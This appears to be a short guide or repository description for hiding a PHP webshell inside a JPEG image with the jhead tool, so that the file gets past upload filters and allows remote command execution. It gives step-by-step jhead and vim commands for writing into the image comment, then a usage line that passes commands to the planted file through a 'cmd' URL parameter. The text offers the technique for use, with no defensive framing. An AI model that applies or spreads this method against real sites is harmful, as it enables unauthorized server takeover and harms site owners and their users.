
PHP script and guide for injecting PHP webshells into JPEG images using Jhead. Used to bypass file upload filters and achieve remote command execution via crafted image files.
$ pkg install vim or apt-get install vim
$ pkg install jhead or apt-get install jhead
$ jhead -h (for help)
$ jhead -purejpg yourfiles.jpg
$ jhead -ce yourfiles.jpg
Click ESC typed :x to save
$ jhead yourfiles.jpg
Example : site.com/youfiles.php?cmd=Command Here
